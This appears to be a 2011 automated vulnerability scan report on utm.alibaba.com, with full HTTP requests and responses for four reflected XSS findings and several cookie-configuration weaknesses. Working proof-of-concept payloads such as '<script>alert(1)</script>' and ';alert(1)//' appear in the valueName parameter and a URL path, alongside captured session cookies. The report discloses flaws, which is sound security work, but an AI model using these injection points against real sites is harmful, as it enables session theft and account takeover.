XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, utm.alibaba.com

Report generated by XSS.CX at Mon Aug 15 13:34:57 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in utm.alibaba.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://utm.alibaba.com/cm/hotproduct/hotProducts.js [REST URL parameter 2]

1.2. http://utm.alibaba.com/cm/hotproduct/hotProducts.js [valueName parameter]

1.3. http://utm.alibaba.com/todaynew/latestBuyOffer.js [valueName parameter]

1.4. http://utm.alibaba.com/todaynew/latestProduct.js [valueName parameter]

2. Cookie without HttpOnly flag set

2.1. http://utm.alibaba.com/todaynew/latestBuyOffer.js

2.2. http://utm.alibaba.com/todaynew/latestProduct.js

2.3. http://utm.alibaba.com/cm/hotproduct/hotProducts.js

2.4. http://utm.alibaba.com/favicon.ico

3. Cookie scoped to parent domain

3.1. http://utm.alibaba.com/cm/hotproduct/hotProducts.js

3.2. http://utm.alibaba.com/favicon.ico

3.3. http://utm.alibaba.com/todaynew/latestBuyOffer.js

3.4. http://utm.alibaba.com/todaynew/latestProduct.js

4. HTML does not specify charset

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://utm.alibaba.com/cm/hotproduct/hotProducts.js [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /cm/hotproduct/hotProducts.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 5937e<script>alert(1)</script>cb3fef031f8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cm/hotproduct5937e<script>alert(1)</script>cb3fef031f8/hotProducts.js?memberId=&cookieId=F4tcx6X0bN71KkwflB%2Fxm3HQNxDv44jkLZ3uUQtbNCl6e0TfX0CAGYdg3Ij5EYIA6ABvIK2HYzg%3D&tn=&encrypt=y&valueName=utmReturnValue_4&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:30:39%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_beacon_id=50.23.123.106.1313436470855.3; __utma=226363722.1980904589.1313436527.1313436527.1313436527.1; __utmb=226363722.1.10.1313436527; __utmc=226363722; __utmz=226363722.1313436527.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=3B76C4C90B193FF6D84C450F72FAFD25; intl_common_temp=vTUgXbJFf/o09W1JYj0bAoCephe1ofzR3WcezLQlLnv5LSFD4s3P3iPK8kZq5Zq+lhRYk+3pMcE=; uns_unc_f=intlbt_p4p_e_f=39; history=category%5E%0A100003868%09Bearing%20Accessory%09http%3A//www.alibaba.com/Bearing-Accessory_pid100003868; ali_apache_sid=50.23.123.106.26102436468476.7|1313438325; intl_acs_temp=+2MJwPV5hcBSEyukkl8egeJRRIynxeyylLhu2o3kK2j5/rvTiVQqA89t9z+1sM/5onUk1bb1cE6zbM9OxnfNc2aYEg2CUHl2JLiXHw7X0rv4tF0puEK8cA==; ali_apache_track=; ali_apache_tracktmp=

Response

HTTP/1.1 500 Internal Server Error
Date: Mon, 15 Aug 2011 19:30:43 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 10571
Content-Type: text/html;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438443; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438443; path=/; domain=.alibaba.com
Connection: close

<h1>500 Internal Server Error</h1>

<h2>An exception occurred while processing the request</h2>
<pre>
com.alibaba.webx.WebxException: Failed to execute screen: TemplateScreen (template: screen/hotproduct5937e<script>alert(1)</script>cb3fef031f8/hotProducts.vm)
   at com.alibaba.webx.WebxControllerServlet.handleRequest(WebxControllerServlet.java:111)
   at com.alibaba.webx.controller.AbstractWebxControllerServlet.doGet(AbstractWebxControllerSer
...[SNIP]...

1.2. http://utm.alibaba.com/cm/hotproduct/hotProducts.js [valueName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /cm/hotproduct/hotProducts.js

Issue detail

The value of the valueName request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7ac68%3balert(1)//30261a2f950 was submitted in the valueName parameter. This input was echoed as 7ac68;alert(1)//30261a2f950 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cm/hotproduct/hotProducts.js?memberId=&cookieId=F4tcx6X0bN71KkwflB%2Fxm3HQNxDv44jkLZ3uUQtbNCl6e0TfX0CAGYdg3Ij5EYIA6ABvIK2HYzg%3D&tn=&encrypt=y&valueName=utmReturnValue_47ac68%3balert(1)//30261a2f950&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:30:39%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_beacon_id=50.23.123.106.1313436470855.3; __utma=226363722.1980904589.1313436527.1313436527.1313436527.1; __utmb=226363722.1.10.1313436527; __utmc=226363722; __utmz=226363722.1313436527.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=3B76C4C90B193FF6D84C450F72FAFD25; intl_common_temp=vTUgXbJFf/o09W1JYj0bAoCephe1ofzR3WcezLQlLnv5LSFD4s3P3iPK8kZq5Zq+lhRYk+3pMcE=; uns_unc_f=intlbt_p4p_e_f=39; history=category%5E%0A100003868%09Bearing%20Accessory%09http%3A//www.alibaba.com/Bearing-Accessory_pid100003868; ali_apache_sid=50.23.123.106.26102436468476.7|1313438325; intl_acs_temp=+2MJwPV5hcBSEyukkl8egeJRRIynxeyylLhu2o3kK2j5/rvTiVQqA89t9z+1sM/5onUk1bb1cE6zbM9OxnfNc2aYEg2CUHl2JLiXHw7X0rv4tF0puEK8cA==; ali_apache_track=; ali_apache_tracktmp=

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:30:42 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 2511
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438442; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438442; path=/; domain=.alibaba.com
Set-Cookie: intl_acs_temp=T/jO2ilErhvTH9aPaKjOrWHR9n3NSqi9WN2C/AJLZxHPWeHv/aDYSo6OBbDgo3P18DOO8vlb4I/9446C4f0b48nM4ydLsZmKAzU/h2tUFSbzPdPb3YV0aQ==; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:17:21 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_47ac68;alert(1)//30261a2f950 = {
   uJson : [{"categoryId":"41","imageUrl":"http://img.alibaba.com/images/cms/upload/suppliers_customized_souring/hot_products_20110701/mechanical_parts1.jpg","fixed":false,"imageHref":"http://www.a
...[SNIP]...

1.3. http://utm.alibaba.com/todaynew/latestBuyOffer.js [valueName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /todaynew/latestBuyOffer.js

Issue detail

The value of the valueName request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload bf403%3balert(1)//840fb95604a was submitted in the valueName parameter. This input was echoed as bf403;alert(1)//840fb95604a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /todaynew/latestBuyOffer.js?memberId=&cookieId=&tn=&encrypt=y&valueName=utmReturnValue_1bf403%3balert(1)//840fb95604a&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:28:46%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; ali_apache_sid=50.23.123.106.26102436468476.7|1313438268; intl_acs_temp=YEhXqLKBgl02jic9ohij4g5EUvpNRybd7A/Av8RrODohlEtcdKA/PoS8JiQHi42Hx2FMdop/ZeU=; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_apache_track=; ali_apache_tracktmp=; ali_beacon_id=50.23.123.106.1313436470855.3

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:28:28 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 70
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438308; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438308; path=/; domain=.alibaba.com
Set-Cookie: intl_acs_temp=KdvoQIGVUOA7ru7vm9J2PezQzB9w3RSFDXQPTR4xAyIX8onraXFhZNSCWFPE1tKa0ipj9SnxIvGIEdw+rEOPqWd/P2GCwF4iVGrvB8Apy9TqJOOKkXa1/w==; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:15:07 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_1bf403;alert(1)//840fb95604a = {
   uHtml : ''
};

1.4. http://utm.alibaba.com/todaynew/latestProduct.js [valueName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /todaynew/latestProduct.js

Issue detail

The value of the valueName request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 359a9%3balert(1)//a0c881bf1d was submitted in the valueName parameter. This input was echoed as 359a9;alert(1)//a0c881bf1d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /todaynew/latestProduct.js?memberId=&cookieId=&tn=&encrypt=y&valueName=utmReturnValue_2359a9%3balert(1)//a0c881bf1d&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:28:46%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; ali_apache_sid=50.23.123.106.26102436468476.7|1313438268; intl_acs_temp=YEhXqLKBgl02jic9ohij4g5EUvpNRybd7A/Av8RrODohlEtcdKA/PoS8JiQHi42Hx2FMdop/ZeU=; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_apache_track=; ali_apache_tracktmp=; ali_beacon_id=50.23.123.106.1313436470855.3

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:28:28 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 69
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438308; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438308; path=/; domain=.alibaba.com
Set-Cookie: intl_acs_temp=h+fZgR1sxM8A8XWgGLNM4v5Dl1XnHZJTQT1St60yWmMiDOeVIhlK6avzkrk0P0nJB5N0jMjAzRMJ4IWtUjYCmkmTnUH5IZTHQERjZ7z475M2pt2qMMWd7Q==; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:15:07 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_2359a9;alert(1)//a0c881bf1d = {
   uHtml : ''
};

2. Cookie without HttpOnly flag set  previous  next
There are 4 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://utm.alibaba.com/todaynew/latestBuyOffer.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://utm.alibaba.com
Path:   /todaynew/latestBuyOffer.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /todaynew/latestBuyOffer.js?memberId=&cookieId=&tn=&encrypt=y&valueName=utmReturnValue_1&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:28:46%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; ali_apache_sid=50.23.123.106.26102436468476.7|1313438268; intl_acs_temp=YEhXqLKBgl02jic9ohij4g5EUvpNRybd7A/Av8RrODohlEtcdKA/PoS8JiQHi42Hx2FMdop/ZeU=; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_apache_track=; ali_apache_tracktmp=; ali_beacon_id=50.23.123.106.1313436470855.3

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:27:52 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 43
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438272; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438272; path=/; domain=.alibaba.com
Set-Cookie: JSESSIONID=3D5ED25D72E6E49A10800B8512E59B7A; Path=/
Set-Cookie: intl_acs_temp=Hj53bivtgC/chp5ouTIpqmX9I3SdnqVdNj+AkEd/24+iBQvc+4aoQsQhMyRtviVryCR5KgEu38k=; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:14:31 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_1 = {
   uHtml : ''
};

2.2. http://utm.alibaba.com/todaynew/latestProduct.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://utm.alibaba.com
Path:   /todaynew/latestProduct.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /todaynew/latestProduct.js?memberId=&cookieId=&tn=&encrypt=y&valueName=utmReturnValue_2&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:28:46%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; ali_apache_sid=50.23.123.106.26102436468476.7|1313438268; intl_acs_temp=YEhXqLKBgl02jic9ohij4g5EUvpNRybd7A/Av8RrODohlEtcdKA/PoS8JiQHi42Hx2FMdop/ZeU=; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_apache_track=; ali_apache_tracktmp=; ali_beacon_id=50.23.123.106.1313436470855.3

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:27:52 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 43
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438272; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438272; path=/; domain=.alibaba.com
Set-Cookie: JSESSIONID=3B76C4C90B193FF6D84C450F72FAFD25; Path=/
Set-Cookie: intl_acs_temp=vOeBVAqlqmHl6vy7Nqe6LZsbDTPo+/c//Sc47+l5TiBl7YnF4ew5kXuuxxrF9nFCSjE4wDVym2g=; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:14:31 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_2 = {
   uHtml : ''
};

2.3. http://utm.alibaba.com/cm/hotproduct/hotProducts.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /cm/hotproduct/hotProducts.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /cm/hotproduct/hotProducts.js?memberId=&cookieId=F4tcx6X0bN71KkwflB%2Fxm3HQNxDv44jkLZ3uUQtbNCl6e0TfX0CAGYdg3Ij5EYIA6ABvIK2HYzg%3D&tn=&encrypt=y&valueName=utmReturnValue_4&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:30:39%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_beacon_id=50.23.123.106.1313436470855.3; __utma=226363722.1980904589.1313436527.1313436527.1313436527.1; __utmb=226363722.1.10.1313436527; __utmc=226363722; __utmz=226363722.1313436527.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=3B76C4C90B193FF6D84C450F72FAFD25; intl_common_temp=vTUgXbJFf/o09W1JYj0bAoCephe1ofzR3WcezLQlLnv5LSFD4s3P3iPK8kZq5Zq+lhRYk+3pMcE=; uns_unc_f=intlbt_p4p_e_f=39; history=category%5E%0A100003868%09Bearing%20Accessory%09http%3A//www.alibaba.com/Bearing-Accessory_pid100003868; ali_apache_sid=50.23.123.106.26102436468476.7|1313438325; intl_acs_temp=+2MJwPV5hcBSEyukkl8egeJRRIynxeyylLhu2o3kK2j5/rvTiVQqA89t9z+1sM/5onUk1bb1cE6zbM9OxnfNc2aYEg2CUHl2JLiXHw7X0rv4tF0puEK8cA==; ali_apache_track=; ali_apache_tracktmp=

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:29:48 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 2484
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438388; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438388; path=/; domain=.alibaba.com
Set-Cookie: intl_acs_temp=QlZ+msh0TXHn457l5hmHIEbWJLZwxf699i34OJNDX4kUyQk2xD11hRcqCc9ddSrm+GQw3OSY9g8hIDmPdUlncD8DVyGY5RNoZTCwilS99YTPu71gSYN8og==; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:16:27 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_4 = {
   uJson : [{"categoryId":"41","imageUrl":"http://img.alibaba.com/images/cms/upload/suppliers_customized_souring/hot_products_20110701/mechanical_parts1.jpg","fixed":false,"ima
...[SNIP]...

2.4. http://utm.alibaba.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /favicon.ico

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /favicon.ico HTTP/1.1
Host: utm.alibaba.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438443

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Aug 2011 19:32:05 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Set-Cookie: ali_apache_id=50.23.123.106.74091636725919.5; path=/; domain=.alibaba.com; expires=Wed, 30-Nov-2084 01:01:01 GMT
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438525; path=/; domain=.alibaba.com
Last-Modified: Fri, 08 Jul 2011 05:04:29 GMT
ETag: "341fb-6-4a787c4adf140;4a787c4adf140"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Length: 6
Content-Type: text/html

Error!

3. Cookie scoped to parent domain  previous  next
There are 4 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


3.1. http://utm.alibaba.com/cm/hotproduct/hotProducts.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /cm/hotproduct/hotProducts.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /cm/hotproduct/hotProducts.js?memberId=&cookieId=F4tcx6X0bN71KkwflB%2Fxm3HQNxDv44jkLZ3uUQtbNCl6e0TfX0CAGYdg3Ij5EYIA6ABvIK2HYzg%3D&tn=&encrypt=y&valueName=utmReturnValue_4&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:30:39%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
